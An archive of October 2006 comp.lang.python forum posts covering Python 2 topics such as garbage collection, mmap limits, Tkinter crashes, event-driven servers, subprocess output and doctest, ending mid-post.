> referes to the same object- fine. but  is it that  the original object stays
> in memory until it is Garbage Collected ?

Exactly.

>  is it that  del() deletes  the link of variable to the object and not the
> object ? and thats why u can access it from other variables ?

Exactly.

> > You didn't modify the object that the variable /refers to/.
> > Furthermore, numbers are immutable anyway. To continue with the Hindu
> > god analogy, Vishnu did not cease to exist when any of his avatars
> > passed from the physical world; it is no different with objects in
> > Python.
>
>  vishnu analogy is a bit complicated as  it is a manifestation of divine
> energy in terms of earthly object(avatar). Its clearly not a reference. each
> avatar is himself (vishnu). It is the same energy people around have too
> (coz of manifestation). ofcourse they dont realise coz of ego (id in python)
>  and so the object class (divine energy) is the same - unlike python where
> we have different classes derived from object class.

Congratulations, you understand both Hinduism and Python better than I
do now.  :) c.f.
http://www.swami-krishnananda.org/brdup/brhad_III-09.html

"Kati references, Yajnavalkya, iti?"

(It is worth noting that a subclass is an instance of its superclass,
both in terms of interface and implementation.)

>  so the object exists until there are no references  to it and  will be
> Garbage Collected  immediately?

Python uses two garbage collection schemes together. It uses reference
counting (when number of references goes to zero, remove object from
memory) and mark-and-sweep (comb through process memory methodically
looking for objects that are no longer accessible). This is what
allows it to collect cyclic structures, such as trees whose nodes
links to their parents and vice versa.

GC intercedes at various intervals when convenient. I don't think it
would be immediate though.

-- Theerasak


From sturlamolden at yahoo.no  Mon Oct 23 20:57:50 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 23 Oct 2006 17:57:50 -0700
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
Message-ID: <1161651470.010831.93400@m73g2000cwd.googlegroups.com>


myeates at jpl.nasa.gov wrote:
> Hi
> Anyone ever done this? It looks like Python2.4 won't take a length arg
> > 2 Gig since its not seen as an int.

Looking at Python's source (mmapmodule.c), it seems that "mmap.mmap"
always sets the offset argument in Windows' MapViewOfFile and UNIX'
mmap to 0. This means that it is always mapping from the beginning of
the file. Thus, Python's mmap module is useless for large files. This
is really bad coding. The one that wrote mmapmodule.c didn't consider
the possibility that a 64 bit file system like NTFS can harbour files
to large to fit in a 32 address space. Thus, mmapmodule.c needs to be
fixed before it can be used for large files.



From mail at microcorp.co.za  Wed Oct  4 04:33:55 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Wed, 4 Oct 2006 10:33:55 +0200
Subject: Python/Tkinter crash.
Message-ID: <025f01c6e78f$f2d62d60$03000080@hendrik>

Hi,

I get the following:

hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py
UpdateStringProc should not be invoked for type font
Aborted

and I am back at the bash prompt - this is most frustrating, as there is no
friendly traceback to help me guess where its coming from.

And what is worse, the script runs for a varying time before it simply exits
like this.

What can I do to dig deeper to try to find a clue? - I don't even know if its
Python, Tkinter or Linux...

Some background:

The application is a prototype gui for a controller of an injection moulding
machine.
It has two rows of five buttons across the top, and a canvas containing various
objects over the rest of the screen.
Extensive use is made of configure to change the text of the buttons, as well as
their command bindings,
to keep "the state of the system" current - its quite a hack at this time, as I
am still experimenting with getting the interface intuitive.
On the canvas, there are multiple instances of a Meter class to show things like
temperatures and pressures,
as well as a schematic representation of the machine, created out of polygons
and lines.
The schematic, as well as the Meters, are crudely animated by deleting and
redrawing the objects repetitively with slightly different parameters in
response to button presses. This is done by starting different threads to
implement the various motions, which repetitively call kill and draw methods in
the main app, after which they (the threads) commit seppoku by returning.

Everything seems to work fine. - there is a thread that runs to move the meter
values around continuously, and this has been stable for some time now, and I
can get the various "machine" parts to move around the screen by pushing the
buttons.
The trouble occurs when I put the "machine" into Auto mode, simulating the
various motions in a loop, - it runs for anything from a few tens to a few
hundreds of cycles before handing in its dinner pail like this.

Any Ideas on what to do next to find the culprit?

- Hendrik



From exarkun at divmod.com  Tue Oct 31 08:39:19 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Tue, 31 Oct 2006 08:39:19 -0500
Subject: Event driven server that wastes CPU when threaded doesn't
In-Reply-To: <H%C1h.707$m54.56@newssvr14.news.prodigy.com>
Message-ID: <20061031133919.20948.301768707.divmod.quotient.7364@ohm>

On Tue, 31 Oct 2006 07:33:59 GMT, Bryan Olson <fakeaddress at nowhere.org> wrote:
>Snor wrote:
>> I'm attempting to create a lobby & game server for a multiplayer game,
>> and have hit a problem early on with the server design. I am stuck
>> between using a threaded server, and using an event driven server. I've
>> been told time and time again that I should use an event driven server
>> design (that is, use twisted).
>
>I didn't hear the specifics of how you got that advice, so I
>can't comment specifically. I will say that I've have heard a
>lot of advice against threads that struck me as simply naive.

Much of it is quite well informed.

>
>> There is a lot of interaction between the clients and they would often
>> need to write to the same list of values, which of course becomes a
>> problem with a threaded server - so event driven solves that problem,
>> and I assumed it would solve all my problems. [...]
>
>The purely event-driven style solves some problems, but creates
>others. You're forced to structure your code around the blocking
>behavior, and that's not the structure anyone would choose for
>clarity or maintainability.

This is not the case.  However, much event-driven code is written
this way anyway, intentionally, for clarity.  If you _want_ opaque
code, or for some reason think it is not opaque to write code in this
manner, then there you can use a library which supports this.

>
>Suppose we're enhancing an event-driven system, and decide to
>relocate some datum from a variable to the database. Suppose in
>one or more places, accessing the data happens in a call chain
>several function down from the event loop. We can't just change
>the function that accesses the data because a synchronous
>database call could block and stop event processing. Every
>interface on the call chain is broken.

As it must be, because you have changed the atomicity of an operation.
Transparently propagating this up a call stack leads to bugs which are
similar to those found in a system based on pre-emptive multithreading.

>
>[...]
>> I will want the server to support as many users as is possible on any
>> given machine - and so wasted CPU cycles is something I am trying to
>> avoid.
>
>Python is a great scripting language, but squeezing out machine
>performance is not where scripting languages shine. That said, you
>might start in Python, to see if your system is successful and the
>performance of your server really is a limiting factor.
>
>
>> Is the only solution to use a threaded server to let my clients make
>> their requests and receive a response in the fastest possible time?
>
>Maybe. Probably not. It's all good -- multi-threading is your friend.
>

Multithreading is _someone's_ friend.  Probably not the OP's, whose
original post made it sound very strongly like he just needed network
concurrency, which is a perfectly fine use-case for event-driven style
rather than pre-emptive threading.

Jean-Paul


From johnjsal at NOSPAMgmail.com  Tue Oct 31 16:01:24 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Tue, 31 Oct 2006 21:01:24 GMT
Subject: best way to check if a file exists?
Message-ID: <EQO1h.213$1n3.4609@news.tufts.edu>

What is the best way to check if a file already exists in the current 
directory? I saw os.path.isfile(), but I'm not sure if that does more 
than what I need.

I just want to check if a file of a certain name exists before the user 
creates a new file of that name.

Thanks.


From keith at keithperkins.net  Wed Oct  4 18:08:49 2006
From: keith at keithperkins.net (Keith Perkins)
Date: Wed, 04 Oct 2006 22:08:49 GMT
Subject: can't open chm files all of a sudden
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
	<45233a81$0$30748$c3e8da3@news.astraweb.com>
	<1159951350.208619.222470@m73g2000cwd.googlegroups.com>
	<zPQUg.60$1n3.960@news.tufts.edu>
	<DoRUg.9937$UG4.3673@newsread2.news.pas.earthlink.net>
Message-ID: <pan.2006.10.04.22.08.47.994880@keithperkins.net>

On Wed, 04 Oct 2006 16:34:43 +0000, Dennis Lee Bieber wrote:

> On Wed, 04 Oct 2006 15:55:11 GMT, John Salerno
> <johnjsal at NOSPAMgmail.com> declaimed the following in comp.lang.python:
> 
>> the files in a day or two). All I've installed/uninstalled since then 
>> was HTML Kit. I'm not on a network, it's just me. I redownloaded the chm 
>> file for Python24 and it does the same thing.
>>
> 	Try some other help files... I'd be likely to suspect it was HTML
> Kit that overlayed some DLL in the help system...
> 
> (Yeesh -- Just looked at the HTML Kit home page... In the words of Clara
> Peller "Where's the beef?"...  Lots of glitzy public relations copy, but
> no details on exactly what it does, what tools it competes with, etc.)

I used HTMLKit when I still used Windows, and liked it a lot.  It's really
a great HTML/PHP, etc. editor, if you can get past the front page.
That being said (if I remember correctly) hh.exe is a part of htmlkit, and
may have been the the cause of your problem by making itself the default
chm reader. (Check your settings under files to see what you have as the
default reader now. (and sorry, forgot how to do that, it's been almost
two years since I've had to fiddle with Windows, so I'm not sure of the
exact place to check for it.))
Keith


From peter.maas at somewhere.com  Thu Oct 12 14:15:11 2006
From: peter.maas at somewhere.com (Peter Maas)
Date: Thu, 12 Oct 2006 20:15:11 +0200
Subject: Python component model
In-Reply-To: <1160635583.128296.21270@m73g2000cwd.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<1160562945.079609.98640@m7g2000cwm.googlegroups.com>
	<egjm4b$io$1@online.de>
	<1160635583.128296.21270@m73g2000cwd.googlegroups.com>
Message-ID: <egm0nu$lfa$1@online.de>

Kay Schluehr wrote:
> Peter Maas wrote:
>> How many programmers don't use Python because of the self issue?
> 
> The only reason I know why self shall not be inforced is reducing the
> number of troll postings.

The only method that works to reduce the number of troll postings is:
spot them, then ignore them.

But some lengthy threads in c.l.p suggest that quite a few c.l.p
participants enjoy conversation with trolls or are slow at spotting :)

-- 
Regards/Gruesse,

Peter Maas, Aachen
E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')


From tomas.horacek at gmail.com  Fri Oct 27 04:27:13 2006
From: tomas.horacek at gmail.com (heracek)
Date: 27 Oct 2006 01:27:13 -0700
Subject: run subprocess in separate window
In-Reply-To: <1160930616.489486.184800@i3g2000cwc.googlegroups.com>
References: <1160930616.489486.184800@i3g2000cwc.googlegroups.com>
Message-ID: <1161937633.485546.67980@i3g2000cwc.googlegroups.com>



On Oct 15, 6:43 pm, "Radek" <radek.sv... at gmail.com> wrote:
> Currently when using subprocess.Popen("mycommand") all output goes to
> the stdout of my launcher.
>

Hi,
the solution is:

    p = subprocess.Popen(args=['command', 'arg1', 'arg2'],
                             stdout=subprocess.PIPE,
                             stderr=subprocess.STDOUT)
    print p.stdout.read() # stderr and strout mix

or:

    p = subprocess.Popen(args=['command', 'arg1', 'arg2'],
                             stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE)
    print p.stderr.read()
    print p.stdout.read()

h.



From horpner at yahoo.com  Tue Oct 24 11:07:40 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 24 Oct 2006 17:07:40 +0200
Subject: The format of filename
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
	<mailman.1074.1161701843.11739.python-list@python.org>
	<slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>
Message-ID: <slrnejsb2q.1pk.horpner@FIAD06.norwich.edu>

On 2006-10-24, Neil Cerutti <horpner at yahoo.com> wrote:
> Is translation of '/' to '\\' a feature of Windows or Python?

Well, *that* was easy to discover on my own. ;-)

Thanks for the pointers.

-- 
Neil Cerutti


From steve at holdenweb.com  Sun Oct 29 00:39:22 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 29 Oct 2006 04:39:22 +0000
Subject: PROBLEM with MOD_PYTHON
In-Reply-To: <1162078593.581132.279220@h48g2000cwc.googlegroups.com>
References: <1162041564.610155.278270@h48g2000cwc.googlegroups.com>
	<1162078593.581132.279220@h48g2000cwc.googlegroups.com>
Message-ID: <ei1b7l$tnp$1@sea.gmane.org>

grahamd at dscpl.com.au wrote:
[...]
> BTW, there is a mailing list specifically for mod_python. You might be
> better off asking questions directly there, as we have seen most
> problems. You can also search the mailing list archives from the
> mod_python site.
> 
> BTW, the quadruple backslashes is indeed because of the use of repr()
> when doing the error dump.

For gmane users the list is also available as newsgroup

   gmane.comp.python.mod_python

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From johnjsal at NOSPAMgmail.com  Mon Oct 23 10:31:54 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Mon, 23 Oct 2006 14:31:54 GMT
Subject: Rate my reply
In-Reply-To: <1161400896.021188.108240@f16g2000cwb.googlegroups.com>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
	<1161399285.948294.212870@m73g2000cwd.googlegroups.com>
	<1161400896.021188.108240@f16g2000cwb.googlegroups.com>
Message-ID: <un4%g.137$1n3.3589@news.tufts.edu>

Paddy wrote:

> What I am interested in is if John and others might just take time out
> to critique the replies. I'm interested in what the group think makes a
> good comp.lang.python reply: too short, too long; too cryptic, too
> simplistic, too polite (is their such a thing), too nasty; too
> self-effacing, too self-promoting; too long a sig ;-) ,  too anonymous

Thanks for the reply. It's kind of hard for me to critique your reply at 
this point, because I'm starting to understand my problem now. But what 
I liked about your help was that you took it in steps and show each 
process. What's always a little confusing is when people immediately 
resort to examples for help instead of explaining it in words first, 
because often times this just duplicates the confusion for the OP. But 
examples definitely help!


From onurb at xiludom.gro  Tue Oct 17 05:45:57 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 17 Oct 2006 11:45:57 +0200
Subject: python's OOP question
In-Reply-To: <1161054047.278803.241040@h48g2000cwc.googlegroups.com>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
	<45334fa9$0$5656$426a74cc@news.free.fr>
	<1160991239.541020.115320@m7g2000cwm.googlegroups.com>
	<453382b6$0$8601$426a74cc@news.free.fr>
	<1161054047.278803.241040@h48g2000cwc.googlegroups.com>
Message-ID: <4534a656$0$19612$426a74cc@news.free.fr>

neoedmund wrote:
(snip)
> So I can reuse a method freely only if it's worth reusing.
> For the word "inheritance", in some aspect, meanings reuse the super
> class, with the condition: must reuse everything from super class.

Not really. In fact, inheritance *is* a special case of
composition/delegation. A 'child' class is a class that has references
to other classes - it's 'parents' -, and  then attributes that are not
found in the instance or child class are looked up in the parents
(according to mro rules in case of multiple inheritance). And that's all
there is.

> It's lack of a option to select which methods are to be reused.

Methods not redefined in the 'child' class or it's instance are
'reusable'. Now they are only effectively 'reused' if and when called by
client code. So the 'option to select which methods are to be reused' is
mostly up to both the 'child' class and code using it.

> this is something should be improved for general OOP i think.
> So to answer " What is your problem with having the other extra methods
> too ?",
> in real life, a class is not defined so well that any method is needed
> by sub-class. 

Then perhaps is it time to refactor. A class should be a highly cohesive
unit. If you find yourself needing only a specific subset of a class, it
may be time to extract this subset in it's own class. Given Python's
support for both multiple inheritance and composition/delegation, it's
usually a trivial task (unless you already mixed up too many orthogonal
concerns in your base class...).

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From devilwolf22 at gmail.com  Thu Oct  5 21:59:58 2006
From: devilwolf22 at gmail.com (Steve Menard)
Date: Thu, 5 Oct 2006 21:59:58 -0400
Subject: Metaprogramming question
Message-ID: <QMiVg.52605$qF1.285329@weber.videotron.net>

I have a need to create class instance without invokking the class' __init__ 
method.

Were I using old-style classes, I'd  use new.instance() function. However, I 
am using new-style classes and new.instance() complain "TypeError: 
instance() argument 1 must be classobj, not type" ...

So my question is, how to replicate new.instance() functionality with new 
classes?

Steve Menard
Author and Maintainer of http://jpype.sourceforge.net 




From jfabiani at yolo.com  Mon Oct 23 01:33:50 2006
From: jfabiani at yolo.com (johnf)
Date: Sun, 22 Oct 2006 22:33:50 -0700
Subject: Python and CMS
References: <mailman.933.1161518325.11739.python-list@python.org>
Message-ID: <2vY_g.89$vT7.77@newsfe03.lga>

Echo wrote:

> I am going to start working on a church website. And since I like
> python, I decided to use WSGI. However, I later found out about all
> the different CMS's in php. So I wondered if there where any in
> python.
> 
> Sadly, I only found Plone, skeletonz, and PyLucid (If there is any
> more, please let me know). Of those three, only PyLucid supports WSGI
> and it didn't look very nice to me.
> Both Plone and skeletonz looked very nice. However, they can't be
> hosted on a regular web host(at least to my knowledge) since they run
> as the web server themselves. So hosting would cost more, at least 2-3
> times more from what I've seen.
> 
> So I'm thinking of making a python CMS based on WSGI. I'm now trying
> to figure out a few things like the best way to store the content and
> how to manage/use plugins. For storing the content, the only ways I
> know of are as files or in a database. But I'm not sure what would be
> better. And as for how to do plugings, I plan on looking at Plone and
> skeletonz.
> 
> As for working with WSGI, I have found
> Colubrid(http://wsgiarea.pocoo.org/colubrid/) and
> Paste(http://pythonpaste.org/). I was wondering if anyone knew of any
> other libraries that make working with WSGI easier. Also, I wondering
> if anyone would like to share their experiences of working with those.
> 
> 
> ps. I know that this is a big and complicated project. But no matter
> how far I get, it will be fun because its Python:)
> 
Turbogears???
John


From ath-admin at vt.edu  Mon Oct  9 10:00:12 2006
From: ath-admin at vt.edu (rick)
Date: Mon, 09 Oct 2006 10:00:12 -0400
Subject: file system iteration
In-Reply-To: <egdjp5$7sm$1@news.albasani.net>
References: <egdg02$pcd$1@solaris.cc.vt.edu> <egdjp5$7sm$1@news.albasani.net>
Message-ID: <egdku5$3so$1@solaris.cc.vt.edu>

Georg Brandl wrote:

> Which application needs to walk over ALL files? Normally, you just have a
> starting path and walk over everything under it.

Searching for a file by name. Scanning for viruses. Etc. There are lots 
of legitimate reason to walk all paths from a central starting point, no???


From ian at excess.org  Mon Oct  2 00:29:35 2006
From: ian at excess.org (Ian Ward)
Date: Mon, 02 Oct 2006 00:29:35 -0400
Subject: ANN: Urwid 0.9.7 - Console UI Library
Message-ID: <452095AF.3090503@excess.org>

Announcing Urwid 0.9.7
----------------------

Urwid home page:
   http://excess.org/urwid/

Tarball:
   http://excess.org/urwid/urwid-0.9.7.tar.gz


About this release:
===================

This release adds a new BigText widget for banners and text that needs 
to stand out on the screen.  A new example program demonstrating BigText 
usage and a number of fonts are included.  This widget is a fixed 
widget, a new alternative to flow widgets and a box widgets.  Fixed 
widgets may be displayed within Overlay or Padding widgets to handle 
changing screen sizes.


New in this release:
====================

   - Added initial support for fixed widgets - widgets that have a
     fixed size on screen.  Fixed widgets expect a size parameter
     equal to ().  Fixed widgets must implement the pack(..)
     function to return their size.

   - New BigText class that draws text with fonts made of grids of
     character cells.  BigText is a fixed widget and doesn't do any
     alignment or wrapping.  It is intended for banners and number
     readouts that need to stand out on the screen.

     Fonts: Thin3x3Font, Thin4x3Font, Thin6x6Font (full ascii)
     UTF-8 only fonts: HalfBlock5x4Font, HalfBlock6x5Font,
     HalfBlockHeavy6x5Font, HalfBlock7x7Font (full ascii)

     New function get_all_fonts() may be used to get a list of the
     available fonts.

   - New example program bigtext.py demonstrates use of BigText.

   - Padding class now has a clipping mode that pads or clips fixed
     widgets to make them behave as flow widgets.

   - Overlay class can now accept a fixed widget as the widget to
     display "on top".

   - New Canvas functions: pad_trim(..) and pad_trim_left_right(..).

   - Fixed a bug in Filler.get_cursor_coords(..) that causes a
     crash if the contained widget's get_cursor_coords(..) function
     returns None.

   - Fixed a bug in Text.pack(..) that caused an infinite loop
     when the text contained a newline.  This function is not
     currently used by Urwid.

   - Edit.__init__(..) now calls set_edit_text(..) to initialize
     its text.

   - Overlay.calculate_padding_filler(..) and
     Padding.padding_values(..) now include focus parameters.


About Urwid
===========

Urwid is a console UI library for Python. It features fluid interface
resizing, UTF-8 support, multiple text layouts, simple attribute markup,
powerful scrolling list boxes and flexible interface design.

Urwid is released under the GNU LGPL.










From tdelaney at avaya.com  Tue Oct 24 00:50:36 2006
From: tdelaney at avaya.com (Delaney, Timothy (Tim))
Date: Tue, 24 Oct 2006 14:50:36 +1000
Subject: Sorting by item_in_another_list
Message-ID: <2773CAC687FD5F4689F526998C7E4E5F074422@au3010avexu1.global.avaya.com>

Cameron Walsh wrote:

> Hi,
> 
> I have two lists, A and B, such that B is a subset of A.
> 
> I wish to sort A such that the elements in B are at the beginning of
> A, and keep the existing order otherwise, i.e. stable sort.  The
> order of elements in B will always be correct.
> 
> for example:
> 
> A = [0,1,2,3,4,5,6,7,8,9,10]
> B = [2,3,7,8]
> 
> desired_result = [2,3,7,8,0,1,4,5,6,9,10]

c = set(B)
a.sort(key=c.__contains__, reverse=True)

Tim Delaney


From noway at sorry.com  Sat Oct  7 03:52:34 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Sat, 07 Oct 2006 07:52:34 GMT
Subject: n-body problem at shootout.alioth.debian.org
References: <eg6bku$59b$1@online.de>
Message-ID: <61JVg.138429$_J1.903927@twister2.libero.it>

Peter Maas wrote:

> I have noticed that in the language shootout at
> shootout.alioth.debian.org the Python program for the n-body problem
> is about 50% slower than the Perl program. This is an unusual big
> difference. I tried to make the Python program faster but without
> success. Has anybody an explanation for the difference? It's pure
> math so I expected Perl and Python to have about the same speed.

Did you try using an old-style class instead of a new-style class?
-- 
Giovanni Bajo




From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 18:17:38 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sun, 29 Oct 2006 09:17:38 +1100
Subject: Safely renaming a file without overwriting
References: <pan.2006.10.28.10.13.32.415330@REMOVE.THIS.cybersource.com.au>
	<72sb14-08j.ln1@darkstargames.dnsalias.net>
	<4qh8u1Fn1s4aU1@uni-berlin.de>
Message-ID: <pan.2006.10.28.22.17.38.197920@REMOVE.THIS.cybersource.com.au>

On Sat, 28 Oct 2006 16:48:37 +0200, Diez B. Roggisch wrote:

> Where does that help for new files? The OP was right in assuming that a 
> race condition could occur when he tests for a file & then tries to 
> create it, as in the meantime it could have been created.

Ah! "Race condition" -- that was the term I was looking for ... now maybe
I'll have some better results with Google.



-- 
Steven.



From jjl at pobox.com  Sat Oct  7 07:21:50 2006
From: jjl at pobox.com (John J. Lee)
Date: Sat, 07 Oct 2006 11:21:50 GMT
Subject: News on versions modules for Python-2.5?
References: <45269df8$0$25949$ba4acef3@news.orange.fr>
	<1160167602.875088.43310@c28g2000cwb.googlegroups.com>
Message-ID: <87hcyg1icx.fsf@pobox.com>

"sjdevnull at yahoo.com" <sjdevnull at yahoo.com> writes:

> M?ta-MCI wrote:
> > And who can confirm that these modules are independent of Python version?
> >
> >     ReportLab
> 
> I can't confirm it's 100% independent, but I have been using reportlab
> on Windows and Linux with Python 2.5.

If anything in the ReportLab open source toolkit doesn't work with
Python 2.5, it's a bug.  (and as I say, I don't remember any bug
reports about problems using it with Python 2.5 yet)

I'm not really sure what "100% independent of Python version" means,
but guessing that in practice, what the OP was interested in was
"supported under, and works fine with, Pythons 2.4 and 2.5", and the
answer to that is a definite "yes" :-)


John


From horpner at yahoo.com  Fri Oct 20 15:29:51 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 20 Oct 2006 21:29:51 +0200
Subject: doctest and exposing internals.
Message-ID: <slrneji8ur.1ps.horpner@FIAD06.norwich.edu>

I'm using doctest for the first time, and boy is it cool.

But I'm nervous about exposing library internals in the
docstring.

def glk_cancel_char_event(win):
    """ Cancel a pending request for character input.

    win must be a valid Glk window.

        >>> glk_cancel_char_event([])
        Glk library error: cancel_char_event: invalid id

    Here's an example of correct usuage.

        >>> main = glk_window_open(0, 0, 0, wintype_TextBuffer, 1)
        >>> glk_request_char_event(main)
        >>> glk_cancel_char_event(main)
        >>> main.char_request
        False

    For convenience, it's OK to call this function when a
    character input request is not pending, in which case it has
    no effect.

        >>> glk_cancel_char_event(main)
        >>> glk_window_close(main)
        (0, 0)

    """

    if win != glk_window.main:
        _strict_warning("cancel_char_event: invalid id")
        return
    glk_window.main.char_request = False

The example of correct usage it what's wrong with the docstring.

There's no interface for checking if an event is queued in Glk,
so I resorted to exposing the internal state main.char_request in
the doc string. What are the alternatives?

In addition, the last test in the docstring is only there to
ensure that other tests can open a window themselves (this
version of the library only allows one window to be open at a
time).

-- 
Neil Cerutti


From MonkeeSage at gmail.com  Fri Oct  6 01:54:46 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 5 Oct 2006 22:54:46 -0700
Subject: help on pickle tool
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>
	<mailman.1407.1160113095.10491.python-list@python.org>
Message-ID: <1160114085.944898.224340@k70g2000cwa.googlegroups.com>

hanumizzle wrote:
> Why a subset?

I don't think JSON is a subset of YAML.

Regards,
Jordan



From bignose+hates-spam at benfinney.id.au  Wed Oct 11 01:38:01 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 11 Oct 2006 15:38:01 +1000
Subject: Difference between unindexable and unsubscriptable
References: <eghtcj$lrh$1@skeeter.ucdavis.edu>
Message-ID: <87zmc376py.fsf@benfinney.id.au>

Jackson <jackson at hotmail.com> writes:

> I would like to test if an object can accept:   obj[0]

Then do so. Use the object in the way you want to use it, and catch
any exceptions that you want to handle.

>  >>> from sets import Set
>  >>> Set([1,2])[0]
> TypeError: unindexable object
>
>  >>> 3[0]
> TypeError: unsubscriptable object
>
> It seems like each of these errors can be replaced with a single
> type error.

Well, they are both merely instances of TypeError, just with a
different message. Catching 'TypeError' will catch either of them.

I agree, though, that it would be preferable to have the same message
for these two cases that appear to be saying the same thing.

-- 
 \      "The trouble with eating Italian food is that five or six days |
  `\                     later you're hungry again."  -- George Miller |
_o__)                                                                  |
Ben Finney



From martin at v.loewis.de  Tue Oct 10 03:53:52 2006
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Tue, 10 Oct 2006 09:53:52 +0200
Subject: does raw_input() return unicode?
In-Reply-To: <12iln7en9ipit77@corp.supernews.com>
References: <12iln7en9ipit77@corp.supernews.com>
Message-ID: <452b5190$0$29833$9b622d9e@news.freenet.de>

Stuart McGraw schrieb:
> So, does raw_input() ever return unicode objects and if
> so, under what conditions?

At the moment, it only returns unicode objects when invoked
in the IDLE shell, and only if the character entered cannot
be represented in the locale's charset.

Regards,
Martin


From filip.salomonsson at gmail.com  Tue Oct 24 15:37:26 2006
From: filip.salomonsson at gmail.com (Filip Salomonsson)
Date: Tue, 24 Oct 2006 21:37:26 +0200
Subject: Visibility against an unknown background
In-Reply-To: <ehlga7$kkq$1@sea.gmane.org>
References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>
	<ehlbvm$rg9$1@sea.gmane.org> <ehld8u$68u$1@sea.gmane.org>
	<ehlga7$kkq$1@sea.gmane.org>
Message-ID: <2f334ccd0610241237q430e6199g1f10daf7421fd7f5@mail.gmail.com>

On 10/24/06, Sergei Organov <osv at javad.com> wrote:
> I'd be very upset to see, say, 5-6 highly intersecting
> scientific plots on the same picture drawn using the
> "marching ants" approach.

I'd be a bit upset to see scientific plots *on a picture* at all,
regardless of approach.
-- 
filip salomonsson


From ajones1 at gmail.com  Fri Oct 27 15:14:57 2006
From: ajones1 at gmail.com (Adam Jones)
Date: 27 Oct 2006 12:14:57 -0700
Subject: What's the best IDE?
In-Reply-To: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
Message-ID: <1161976496.903281.302940@i42g2000cwa.googlegroups.com>


Hakusa at gmail.com wrote:
> Recently I've had some problems with PythonWin when I switched to
> Py2.5, tooka long hiatus, and came back. So now I'm without my god sent
> helper, and I'm looking for a cool replacement, or some advocation to
> reinstall/setup PyWin. But the Python website's list is irrefutably
> long. It would take a month or two to test all of those products. So
> I'm looking for experienced advocates.
>
> What's your favorite IDE?

emacs

> What do you like about it?

It does just about everything. It can edit just about every kind of
code I use, read my mail, connection to irc ... everything. Well,
except order pizza, but I think it might be possible to make that
happen as well.

> It would be fine for a begginer, right?

Probably not. I think you have to spend enough time with environments
that don't let you integrate everything into the editor before you can
really understand why people love emacs (and vi) so much.

-Adam



From hxianping at gmail.com  Sat Oct 21 06:02:10 2006
From: hxianping at gmail.com (steve)
Date: 21 Oct 2006 03:02:10 -0700
Subject: Is x.f() <==>MyClass.f(x) a kind of algebraic structure?
Message-ID: <1161424930.151657.18530@m7g2000cwm.googlegroups.com>

I thought that when read Guido van Rossum' Python tutorial.What can we
think that?



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 05:45:08 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 28 Oct 2006 19:45:08 +1000
Subject: Need help (Basic python)...what did I do wrong?
References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>
	<mailman.1394.1162025806.11739.python-list@python.org>
Message-ID: <pan.2006.10.28.09.45.07.327891@REMOVE.THIS.cybersource.com.au>

On Sat, 28 Oct 2006 18:56:33 +1000, Ben Finney wrote:

> "frankie_85" <steveadi at gmail.com> writes:
> 
>> I just made a simple code which is part of my assignment
> 
> You may want to review the restrictions your educational institution
> has on collusion.
[snip]
> Again, please make sure you work on these problems yourself; your
> assessment should not be testing your ability to ask on the internet
> for assistance.

I don't think the restrictions against collusion are meant to prohibit
simple "what does this error message mean?" type questions. It would be
a funny sort of learning process that forced students to live in a
vacuum, never discussing their topic with anyone else, never asking the
most trivial questions.


-- 
Steven.



From scott.daniels at acm.org  Sun Oct  8 14:13:17 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Sun, 08 Oct 2006 11:13:17 -0700
Subject: A critique of cgi.escape
In-Reply-To: <eg972j$2h8$1@lust.ihug.co.nz>
References: <ef37im$5hj$1@lust.ihug.co.nz> <eg972j$2h8$1@lust.ihug.co.nz>
Message-ID: <452937b0$1@nntp0.pdx.net>

Lawrence D'Oliveiro wrote:
> Another useful function is this:
> 
>     def JSString(Str) :
>         """returns a JavaScript string literal that evaluates to Str....

You can do this more simply:

     _map = {"\\" : "\\\\", "\"" : "\\\"", "\t" : "\\t", "\n" : "\\n"}
     def JSString(Str) :
